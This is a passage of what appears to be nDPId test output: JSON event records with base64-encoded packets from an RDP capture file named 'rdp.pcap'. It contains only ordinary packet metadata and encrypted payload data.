9urjyuY600Nan0DS1E9mgUpyAtgL7AtGkrGrk4HXcPBLqS2x4GBuBIQsRJOPv\/kvDD3XXc6htHzWJRbbhRHEfFVV4Gtx9Ho04Y+ts9fAKn\/DZSp\/eBxDpfwbz+rOG0ZJW4\/yOzmjgn1wOXcnb9YmJ+MPX4+khU5iT4pPXvQ7N0AZwOeFZlV6UYv8qz\/Th+umQ9iz8NzuL7JcWiqTlDALrfuyR7be85A07UUtxGRO94uGVwTS8AgO1PISnkgi7szPRJ5X5Wy\/GHpFIM0amtQjFdSBMUWi575QopV4u5lCm\/QUi1ar4MCyEz1zc+ReXQP2plyYJqVjKqD\/fX92FdjGDLEraLJ18hjQzRMMwVSI5Qa5Q18X4cIQA4UzKot0UjBaLh3KKGb5zCtIxkj6Vob0y3O4+Xe+qIokvfHNFQcHPaAHyIKCvXe9vtfnNAWSsZUirV0IvbZs9bVrjst+5f+D5XKVf4HpszHO1xs\/hGf0QyUPdQJm\/q+SoYUrxeaZV4rEdExN5wFdSjfloM9rUOAPREb9n5c+p5yHhXJoDhlm6DkFEb0wQMHyB6cEKMMjDoJsVBcgoHY7vBtvnuq9f5zg2oskQ3y3nLb84w8lngr3YKbn8i\/k6ltRT3LcvuDBJVs85ACGXD7kV+cVnQmV\/a1VZwfnp35qf33gf9gimJzXi9j0g9hsxsBLQ5J3qMKW3zgDHwKBEPBPh+TU5Gs\/8pGb4sQdF6j9N1yPEUdmWsQTnP801Hjc5NrmeTAgvAMwPQsywanXkqupLo6MYigOQ7hCnnXLa9qSMNvPyHtZ6o+wHMHHmC0kamilS+kxLerMs5zQhKDSYtncZFPEPsyKFzvqMltloDCwckgsbWjeEYLyOG6FWb1O3PsqAWDwIUgLR\/Q6EbznoPh19DdYeEQAoNl3iW4Gdcmf0CeNfoutLFrzcUS7V7nzjjdz0E+TRUlhHPMFc3zqosINEFQeSpCABkONZUpR+gb8rPwYk3ChA6hlINRFko+VivvzETFCm\/kbfd0axhqQWKVOb1f\/ypop0W4T201zrpmwkIt6PUbk+sbS\/qel9lgfGOSQzBl1r83Y5OuJAExZeMBcp\/bGG3COg8DGzllSNcxV0Uwcj1jtrZRBbkWlsV3\/YxiU3+ifmYenpL9ThebGfZ0\/f32HmqDFeUC3NFDOd\/IHia0JFAjDTgiCv8j+akSo1gSN6rxjOF9UgdgOTo+3+6aUuC6k1zYIE5BDRwPRH+8wtuHIYD2ncRFJ+CyHWz"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":673,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":674,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746625,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgz0AAfwYnhsCoAo6sEAK5DT3NDkecFXv5vQjhUBj1IvWzAACY\/17vboLUGHKcCBDVqvw0aWHdquoJhofOQoKYbjgnIhOqIUswBv0jIO1y8c9TUwVNysIeAssiNp3HtzRQFybx2IOHywxERe\/MfRPkuGyXrcmirdql5+o3LnCJFOo\/+rvIk2cBg3T0vGKGscmVXteom8k1B6Ixk4Q3lNtdPDFLBksucopjkRPnToJjUPNO5KyCeAhexN8TYSqyLMV2fnKBZW\/MCpQs+unvsJmChyPeGYdb2KBLcN00TqTFEdBLQoQkqck0RPLezU7HzpBDiqPQcOqD5MbMlcDitHhL14PPAQCs3XcmES\/RnJmOwqlKZhQRba6kAT4+G6JcfSQgeK2NgcvT7ikrOWYlI5NEzXvRukdRNIGa2R61N9GKSWpP3u0GwxNggEYvf239Z4BGqxGpGDhy+IFC5cCGbU8yNHas6akuQr6T+NnLgwrXP5evqi47QCkYKRaWF1hjw0hLfhSpkAaaz0L4vKHZJeX4ct8j\/NHouqOKbWeKYQoc"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":674,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":675,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746683,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CcVHnBb2UBAf9OF\/AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":675,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":676,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746764,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g0EAAfwYoy8CoAo6sEAK5DT3NDkecFvb5vQjhUBj1IpGiAAAXAwMAMAAAAAAAAADRJ7Q+JV5dj9sjVlsZ8z2U8CTac6Igx1cM6Rfx\/J0T8KANY6tZ3qbmMg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":676,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":677,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746806,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CcVHnBcrUBAf\/uFAAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":677,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":678,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746997,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g0UAAfwYoysCoAo6sEAK5DT3NDkecFyv5vQjhUBj1IlNjAAAXAwMAMAAAAAAAAADSLcYGXqJ6Hav7qmDO6Oxtpqfo+ysVuzEIRHPR8tDQaUJbVqqH6jeJ3w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":678,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":679,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747028,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9CcVHnBcrUBggAGOgAAAXAwMAOOAIO32NJwvPhzIwtTSZWQL7xCMDoLOSitTeTYA+aWge5vdtvi1a\/DsIvENjXf6Kn9QdiFRMgOVB"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":679,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":680,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747031,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g0kAAfwYoycCoAo6sEAK5DT3NDkecF2D5vQjhUBj1IpdBAAAXAwMAMAAAAAAAAADTEBgRZXwszOBE6uMxPm1c\/nAJMY6NLguSfzvrBCDy47PBjVQjKKQysg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":680,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":681,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747090,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CgJHnBdgUBAf\/uDOAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":681,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":682,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747223,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFg00AAfwYkBMCoAo6sEAK5DT3NDkecF5X5vQjhUBD1IoJcAAAXAwMGbwAAAAAAAADUf0rCvSY19h9KcG6\/dn3sDs3if+SSZF9g3oP5s8iTdr97OAWVPF3Csoi7wXpSRS\/35ZF5XvUHuypNwagxAxfRMRFye7MHiNYRPvFvSLzyuaTxb5QZtk6DP9swcVf5FBKI+B8NOBR5LmTq8MCQrCyLBfSKPDPlcEHpCihMxzrXV0s2znwUqi0fJt8LbgLrizRsrs04asUo5qc5tU93sD8UJVcn17ppWVfczbPPGFkUpzeo0USnPfr9DWlWrWc1j6WG\/33BlhutcVcjHuXGrmG9sVuaizOSEY6Z5qtNE8NIX+gPontu65tCfICGhLa+IxEJbz5wC9dgWEmv7np38f20j2U6ULlHa1\/onAggy2oVgGIsCnHZRtn7sfzYOLZ7fEvtrdKvygRVVr9ADCpTed8sco1s8z11NudbWFULTb0FF1IdJdSWv2fq2g8kpQXBn+jCId7I019afRJhP1+zX6sRi4p3c3Qdy0ruPZ\/pzV7x9zbe2gcBSXanLOnirNktPFwsGOT4c2PtaaPIdMtxlXOtzBZPO3P+aJsUAfzsq8YAxI0ZoHbkc0qQh8cJUL+NoqwA7PHLA7j6S3POqO+a4DvzplKLYivCh2PWY3ouRUqIiAXmzOkCBg+G6aInNsTp1AWbwvpHDXFNRARjOOhELc0x6172A\/smGJeTXgH8LVFJMKK1RHrQfBHOeJd\/AAz0FiaQSO9PT07b5qc6SVQ2cBZoOcLAYjWsHnj33NA3QJXc0\/80CafpbVfgTbx9QPS1HYmHhsHKgn8JeqO\/mJolsVYcBkLNyt\/ztOk+z\/nk8GCxTMsJd8ly5txQMpeuAZnd4N5KLR0WYVQrfXTRr+sCIkVFjT5C6EEnX89yTFIya7wUqS4RKWkkdOh7xcGFPUL8A7nhkoc0pdMZLWjwvfLSxsdqMuhleKGlSaUKKArI8o2AYc8x12lSoZpL749hiJOTySlRrFCC4S\/o\/Q87CSV3U1+oEnjxA\/dtdEklS6qogtisazzy73wNN0qwpHuKl8QUR1D1bFCvQO\/En6Vg6aMfid\/7KU1x\/C1zgjkeElpoLR1ldGSlgD6HPSYDlCviKdb+QvI\/1sab+ENnpvBxbyiEFw45KbNv+oHt0JkHcpZIqbr3Ts+y6h47zBPjod8Ii6EcJyW4+EQXjXQWPLx81v1F+Ay58tPTZlWUIRRACz+I3YqKIvFmPu\/zH9lhpG3Tcw0HeoPRBvjAyg9BCHMekYiV\/4qUmbyzbnh68yrhlAIQ\/kMVJF1Qsu7+KwQDQuSK+\/AAhy6TOIMFYG4NrAYMjdFuqsPq9h3D76WhhnJ++359uQSG7a3c\/ytJUEzKZTPSbidS0Whht4VCraWa3C16vXI5K457qdBgDca5vVW0BdawHmtfIYNt\/r8w70Qq62SJ6dE9QVTd45\/mELp+u3QmUX0MHbeyIQLTos5PZbtOFgPSdXJyYLZJyCMeP49BrUup98fk3kiXOvs4+HwTa\/7LuHafAln\/iwSSvTRhEP6hxH\/CeBUMUkpVOHOQnPKsOfy50GgooZwv+kLWQWn6d7jizNHco8vSBcwx\/zLJUzAqKX7Lt\/r8JNV1xA8DA+Tsu\/p0oekIGkUCL6v5l\/1+rCmhI269ufhQIEYZRItOwo9Uvfc2r92SozWkrCpE\/bWgmInq0Z3GJ3h0BE5w1cV8CnJrkDsG"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":682,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":683,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747244,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CgJHnBdgUBAgAODMAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":683,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00856{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":684,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747362,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNg1EAAfwYngcCoAo6sEAK5DT3NDkecHI75vQjhUBj1ImKXAACJeNlmDSw30Yd5pSbq35iKF0KxQ9Hxzq6fAcbYPjp8kgE+CIrDMeEsR6RAro8pxwHHeUhjrlMIZoqHQ7QM3syrF9DKd0EhB89aQVqL+KsXAbbDiXXpzaUA3prymHEkvHl4TCtzBl39FQgHk7ZjxrN9sQsBXFor8HZM9QI42RBVBrPH6PE3vHxHxxULRfH3m3pRjeMPpV1vXt2ti87WHGxxpm3CSeadRDeFQAUfTJcGIHBoKlIIYE95ncAae3OLVUT1CFKw8LuJpoR2koHMzLQKfwZCOVPAaB4J7v4b35zH5E2QUrIie55z0nyzxrdeodx2B1rLTiyZrjmIIEIA+Zd6Ektce+om7cNVa6C1tWgWhpXYNJNtV60yl9Uk80D7Nu6096y6feA5N6ovAnDd2qAE7YVq5N1NM3sXA7htxH0Skr1rqxgkit+MzRJfvyzwTpo0Uj54qmv0dcvCMBCIgNvxychSuuhHYxhcoheHNTcv0i01zPVNeDS3O5pD"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":684,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":685,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747379,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CgJHnBeVUBAf\/uCZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":685,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":686,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747494,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9CgJHnByOUBgf2HrWAAAXAwMAMOAIO32NJwvQLTODXZ0xh8miVEsLp2Pdk1\/wNyGxNW1G7rLb6mAHKwDCCrinUhTbuw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":686,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":687,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":747601,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CjdHnB4JUBAf9Nn6AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":687,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":688,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":761417,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFg1UAAfwYkAsCoAo6sEAK5DT3NDkecHgn5vQjhUBD1ItESAAAXAwMGbwAAAAAAAADVrd0PtMbrq1S4tQH2NNx3kIHf7vkyt2rivKCBJ7z\/wPQGb0NRgYdlK1DY\/Gb+ZMsmxt8FesDlV50MdTHGDfW2N3IvkUzfbb0zqxvOZEC2EfA1q0Nrgmm6RlrsEK1imdb9kQr+CKTVCK7V+FgJAHHDO7UzmPpZYfTJ4Qx1zNGbBvGFh+Q9MmEutxRxdtXVBbaSnRKIeNQVvS8BC3eRfJt1qhlsljGQknbQnBP12u0WuNrzyHkur6GB4yZn+maj9AmQEdgcfoLOdCSc0+fj+RN707yE6mzzGKWsfTk5r1nq8dtLHnl3jD46xmyO8HPns2ybn7vrXpuEmZ2yLGYIeK5BKsHV8weySfyntrz806VfD9TJygW+mKIHW1RO1xXFYUM1NGUAYOYbFCNGe6hBjVQDPdr22upWbk7dTA70ESTlHRZtoarFQCc5ITxR2eOPh6litI8Vg1fS0SyrgdeThGj7VFF\/9LIIlGLsSBZ0PcovbJOtg38XSdV8hthUeswlxXs+6fUHrUpAAeI0azZqzmNlFTzmbfzegDqWaZr1bZKgOiny0LMZvakU04uebfWxQlCSak7wEBYk9hZInG1fccqjXgZLhf\/7+BMhVvYy9KjOnchnS4odtDVs9BIU8emgr8Vq8koYAPGunsOXBFl7NouCy69EIYhXK4zs4rxYcrEz6kZ3FW1QUJA24hVm2WeQtwnl0lCTHPE+RlHID9\/141tnnwgkQDVlvk9TiQ3GzPaHOa6hnYlO9czM\/Q0BkbNPVPjzDStGk6eymqOO3YzTLQ6aZLzgu65inlSwbjhHeMbu3E0270trGi0P4yXb0uoMB6GDV5Xq\/sFmrcIdlyOLINpAzOOetKWQ4669\/k7IXDYU2nfZ0A1vswnpdxay3R6+GgRmRftrybU4qImzL4Bot0VbcAzBk68glXLcYk81Sgrp0hw\/cQgk5A7fpfzYuX+KGGnbJ2gNm5BCju9JI1+yN5pZBnpZZfa4r86t7vQe29L6bRAqxyo1ocNw0aTUE\/Gx41PYQMYPMAki1DEblPgwHie8SZloUZaYij7UJo54cy3jGnbZ16BKTvf3du5waENyG8Aw2GinWaHplQ1oSjO\/2iat6Iedr2B0ca2E\/xq8\/X2muMjXMTzsT7U2KWGkYphYsYjZs5wBz0NvsrAOqFLhU\/PWmyAToZTv6sQ6VrVY4qDo\/qheiDXvxoXZ3EdpRJZxJi9547fjrbVG0USvh\/qf34T7Rfql6ixRhA7goMetGF\/3kdXbP\/MO+73q+Ol9XBgAMlXcfWehWNRdD8Jmc4ZjycmZe+m\/Z\/eNqajdcUKzu\/1gKCGwhehm95ZnN+DXu64809fEelxkKE6s2WIGyQnl4ytj6\/\/DNvK2SWGNr2PfyXlHcuXNYinRWAY1JYgI2gbYZZMGI+k9PW4CPkeHbgFVviAZ\/RS7W2Ul+uOjHGvUVhkjySv7bhs4gSi7jGEVIOFF3SO8TQmJRkkqMzuEik6EhiUnT+f+dtD1Cr65k9UGI38CeFWUDLVn\/Ffczd5Gv\/McfclobWdwm\/dvqGFlUS9yrA5Hr4732aXF4ROwYle+Jy5NQMNBQG0PLaNhkO5ONVWO3os3b8v41T\/8DphNjt8b3BlZzDYlZ0e21HIhUepNDVTNAuXj7GuY4SLcLLzM04WVtXEwXQ5Je1O8S+cY5hKB"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":688,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":689,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":761599,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNg1kAAfwYnf8CoAo6sEAK5DT3NDkecIwL5vQjhUBj1IqwiAACQgcIuEfoCQP6Rh0T7CepDp7G25O1Ru4I\/MDaIj1p0NA7WZihop8X+kRCH\/sn875jbJiyzlacipahRmrKljib396sLHvsa3Ailzv\/XI7w8ThJPORZZs8sXtpkn93Csl1izLZ5PddevJ\/bLosmWBtYYoRSHHiGGObKsXGqn2K\/V+qAOWBW4kSNatRzUknquX\/glLf7tpmEOZedsbXLxbrlC+vn2ZP1233XOap5qcrm772s8HUPXpa087Sx+q3Gi8iLRqtDJYfa7wmBUgrUlCY5yUi7REzG80miYcv5sZNt+gRItjONeavW8\/rH7WVNVwxwe8538kql2K7tESmsPE\/h2FFenMVknWi1iSJ2CkUsOQaxOLPt1mWua\/77kMoZOKJ+H5FKsG0uAx176lHoEQ4sAwik1E2S56sbMB2kL1O5xoOic709pM3l9h7jjw++bP7FFpeTCCVb\/Q2bGGnmvPEpyDM+n2iUfhqK\/cb\/s5+ZdvJxgfD1gzXC7\/Cxy"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":689,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":690,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":761655,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CjdHnCR9UBAf9NOGAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":690,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":691,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":761784,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g10AAfwYoxMCoAo6sEAK5DT3NDkecJH35vQjhUBj1Isq2AAAXAwMAMAAAAAAAAADWad7lB0ggKhPz5cCNh6vSWiE3LZD+vFYlWb7Tbhix2EP4RSsBKtzWkQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":691,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":692,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":761909,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CjdHnCSyUBAf\/tNHAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":692,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":693,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762026,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChg2EAAfwYo+MCoAo6sEAK5DT3NDkecJLL5vQkeUBD6APpdAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":693,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":694,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762050,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9CjdHnCSyUBggAC12AAAXAwMAOOAIO32NJwvRQR4qDNkS1VspfiQsPr80C3SdjMgQo1L3cxZ+k1gj+Xb3ofKgA1DY1UygsiUqjWDG"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":694,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":695,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762121,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChg2UAAfwYo98CoAo6sEAK5DT3NDkecJLL5vQlTUBD5y\/pdAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":695,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":696,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762254,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g2kAAfwYowcCoAo6sEAK5DT3NDkecJLL5vQlTUBj5y3WsAAAXAwMAMAAAAAAAAADXe1NkJJWJojsNJKdj2qNZ8LDHmHpXktoVKpJSz4mZYxRt9PNeBhcjpg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":696,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":697,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762285,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CnRHnCTnUBAf\/tLVAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":697,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":698,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762451,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVg20AAfwYouMCoAo6sEAK5DT3NDkecJOf5vQlTUBj5yxezAAAXAwMAOAAAAAAAAADYgLwz\/TzbXyCrYlErletVQs3VoLWy8jYbmmc3O+KK3kTXtB9KtlWCuHIWtbTolMnN"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":698,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":699,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762482,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CnRHnCUkUBAf\/tKYAAA="} 